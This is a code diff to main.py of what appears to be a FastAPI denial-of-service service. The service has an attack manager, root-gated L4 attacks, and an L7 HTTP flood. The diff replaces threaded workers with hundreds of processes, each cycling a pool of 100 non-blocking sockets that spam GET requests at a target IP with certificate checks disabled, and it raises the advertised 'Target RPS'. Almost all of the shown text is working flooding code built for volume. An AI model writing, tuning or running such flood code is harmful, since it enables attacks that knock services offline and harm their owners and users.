Update main.py

main.py

@@ -35,50 +35,29 @@ app = FastAPI(
 CPU_COUNT = psutil.cpu_count(logical=True) or 8
 TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
 
-# REALISTIC AUTO-DETECTION - Respects OS thread limits
-# Linux default: ~32K threads per process, ~unlimited processes
+# ULTRA-SIMPLE CONFIG - No threading, pure multiprocessing
+# Each process creates many sockets in a tight loop
 def calculate_optimal_config():
-    """Auto-calculate optimal configuration based on system resources."""
-    # MUCH MORE CONSERVATIVE: Max 200 threads per process to avoid hitting limits
-    # Focus on MORE PROCESSES with FEWER THREADS each
-    
-    if CPU_COUNT >= 48:
-        # Mega servers (48-128 cores) - 48 cores example
-        MAX_PROCESSES = CPU_COUNT * 6  # 288 processes
-        THREADS_PER_PROCESS = 200  # 200 threads each
-        # Total: 57,600 workers
-    elif CPU_COUNT >= 32:
-        # High-end servers (32-47 cores)
-        MAX_PROCESSES = CPU_COUNT * 8  # 256 processes for 32 cores
-        THREADS_PER_PROCESS = 250
-        # Total: 64,000 workers
+    """Calculate processes only - no threads!"""
+    # Simple: Lots of processes, each managing socket pool
+    if CPU_COUNT >= 32:
+        MAX_PROCESSES = CPU_COUNT * 16  # 512 processes for 32 cores
     elif CPU_COUNT >= 16:
-        # Mid-range servers (16-31 cores)
-        MAX_PROCESSES = CPU_COUNT * 12  # 192 processes for 16 cores
-        THREADS_PER_PROCESS = 300
-        # Total: 57,600 workers
+        MAX_PROCESSES = CPU_COUNT * 20  # 320 processes for 16 cores
     elif CPU_COUNT >= 8:
-        # Standard servers (8-15 cores)
-        MAX_PROCESSES = CPU_COUNT * 16  # 128 processes for 8 cores
-        THREADS_PER_PROCESS = 400
-        # Total: 51,200 workers
+        MAX_PROCESSES = CPU_COUNT * 32  # 256 processes for 8 cores
     elif CPU_COUNT >= 4:
-        # Small servers (4-7 cores)
-        MAX_PROCESSES = CPU_COUNT * 24  # 96 processes for 4 cores
-        THREADS_PER_PROCESS = 500
-        # Total: 48,000 workers
+        MAX_PROCESSES = CPU_COUNT * 48  # 192 processes for 4 cores
     else:
-        # Minimal systems (2-3 cores)
-        MAX_PROCESSES = CPU_COUNT * 32  # 64 processes for 2 cores
-        THREADS_PER_PROCESS = 600
-        # Total: 38,400 workers
+        MAX_PROCESSES = CPU_COUNT * 64  # 128 processes for 2 cores
     
-    total_workers = MAX_PROCESSES * THREADS_PER_PROCESS
+    SOCKETS_PER_PROCESS = 100  # Each process manages 100 persistent sockets
+    total_workers = MAX_PROCESSES * SOCKETS_PER_PROCESS
     
-    return MAX_PROCESSES, THREADS_PER_PROCESS, total_workers
+    return MAX_PROCESSES, SOCKETS_PER_PROCESS, total_workers
 
 MAX_PROCESSES, MAX_CONCURRENCY_PER_PROCESS, TOTAL_WORKERS = calculate_optimal_config()
-STATS_BATCH_UPDATE_SIZE = 500  # Larger batches for extreme performance
+STATS_BATCH_UPDATE_SIZE = 1000  # Large batches
 
 # --- L7 Enhanced Headers Pool ---
 USER_AGENTS = [
@@ -269,61 +248,78 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
     sock.close()
 
 # ====================================================================================
-#  OPTIMIZED L7 WORKER PROCESS
+#  OPTIMIZED L7 WORKER PROCESS - NO THREADS!
 # ====================================================================================
-def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, shared_counter):
-    """High-performance threaded socket worker - synchronous for reliability."""
-    local_counter = 0
-    req_counter = 0
+def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, socket_count):
+    """L7 worker - manages pool of sockets in single process (NO THREADING)."""
+    use_ssl = (port in [443, 8443])
+    host = target_ip
     
     # Pre-build HTTP request template
     http_template = f"GET {path}?_={{}} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: Mozilla/5.0\r\nConnection: keep-alive\r\n\r\n"
     
-    while not stop_event.is_set():
-        sock = None
+    # Socket pool
+    sockets = []
+    local_counter = 0
+    req_counter = 0
+    
+    # Create initial socket pool
+    for _ in range(socket_count):
         try:
-            # Create socket
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
-            sock.settimeout(3)
-            sock.connect((host, port))
+            sock.settimeout(2)
+            sock.setblocking(False)  # Non-blocking!
+            sock.connect_ex((host, port))  # Non-blocking connect
             
             if use_ssl:
                 import ssl as ssl_module
                 context = ssl_module.create_default_context()
                 context.check_hostname = False
                 context.verify_mode = ssl_module.CERT_NONE
-                sock = context.wrap_socket(sock, server_hostname=host)
-            
-            # Send burst of requests on same connection
-            for _ in range(100):
-                if stop_event.is_set():
-                    break
-                try:
-                    request = http_template.format(req_counter).encode()
-                    sock.sendall(request)
-                    local_counter += 1
-                    req_counter += 1
-                    
-                    # Quick non-blocking read attempt
-                    sock.settimeout(0.001)
-                    try:
-                        _ = sock.recv(8192)
-                    except:
-                        pass
-                except:
-                    break
-            
-            sock.close()
+                sock = context.wrap_socket(sock, server_hostname=host, do_handshake_on_connect=False)
             
+            sockets.append(sock)
         except:
             pass
-        finally:
-            if sock:
+    
+    # Main flood loop - cycle through all sockets
+    while not stop_event.is_set():
+        for sock in sockets[:]:  # Copy list to allow modification
+            if stop_event.is_set():
+                break
+            
+            try:
+                # Send request
+                request = http_template.format(req_counter).encode()
+                sock.sendall(request)
+                local_counter += 1
+                req_counter += 1
+                
+                # Try non-blocking read
+                try:
+                    _ = sock.recv(4096, socket.MSG_DONTWAIT)
+                except:
+                    pass
+                    
+            except:
+                # Socket dead, recreate
                 try:
                     sock.close()
                 except:
                     pass
+                sockets.remove(sock)
+                
+                # Create new socket
+                try:
+                    new_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+                    new_sock.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
+                    new_sock.settimeout(2)
+                    new_sock.setblocking(False)
+                    new_sock.connect_ex((host, port))
+                    sockets.append(new_sock)
+                except:
+                    pass
         
         # Batch counter updates
         if local_counter >= STATS_BATCH_UPDATE_SIZE:
@@ -331,32 +327,18 @@ def threaded_socket_worker(worker_id, host, port, path, use_ssl, stop_event, sha
                 shared_counter.value += local_counter
             local_counter = 0
     
+    # Cleanup
+    for sock in sockets:
+        try:
+            sock.close()
+        except:
+            pass
+    
     # Final update
     if local_counter > 0:
         with shared_counter.get_lock():
             shared_counter.value += local_counter
 
-def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, thread_count):
-    """L7 worker process - spawns many threads for socket flooding."""
-    protocol = "https" if port in [443, 8443] else "http"
-    use_ssl = (port in [443, 8443])
-    host = target_ip
-    
-    # Launch threads
-    threads = []
-    for i in range(thread_count):
-        t = threading.Thread(
-            target=threaded_socket_worker,
-            args=(i, host, port, path, use_ssl, stop_event, shared_counter),
-            daemon=True
-        )
-        t.start()
-        threads.append(t)
-    
-    # Wait for threads to complete
-    for t in threads:
-        t.join()
-
 # ====================================================================================
 #  CENTRALIZED ATTACK MANAGER (SINGLETON)
 # ====================================================================================
@@ -571,11 +553,11 @@ async def on_startup():
     print(f"   ")
     print(f"   Auto-Optimized Configuration:")
     print(f"      Processes: {MAX_PROCESSES}")
-    print(f"      Threads per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
-    print(f"      Total Concurrent Workers: {TOTAL_WORKERS:,}")
+    print(f"      Sockets per Process: {MAX_CONCURRENCY_PER_PROCESS:,}")
+    print(f"      Total Concurrent Sockets: {TOTAL_WORKERS:,}")
     print(f"   ")
     print(f"   Expected Performance:")
-    print(f"      Target RPS: {int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}")
+    print(f"      Target RPS: {int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}")
     print(f"   ")
     if check_root():
         print("✅ Running with root privileges - L4 attacks ENABLED")
@@ -647,9 +629,9 @@ def root():
             "cpu_cores": CPU_COUNT,
             "ram_gb": round(TOTAL_RAM_GB, 1),
             "max_processes": MAX_PROCESSES,
-            "threads_per_process": MAX_CONCURRENCY_PER_PROCESS,
-            "total_workers": TOTAL_WORKERS,
-            "expected_rps": f"{int(TOTAL_WORKERS * 0.8):,} - {int(TOTAL_WORKERS * 2):,}"
+            "sockets_per_process": MAX_CONCURRENCY_PER_PROCESS,
+            "total_sockets": TOTAL_WORKERS,
+            "expected_rps": f"{int(TOTAL_WORKERS * 1.5):,} - {int(TOTAL_WORKERS * 3):,}"
         }
     }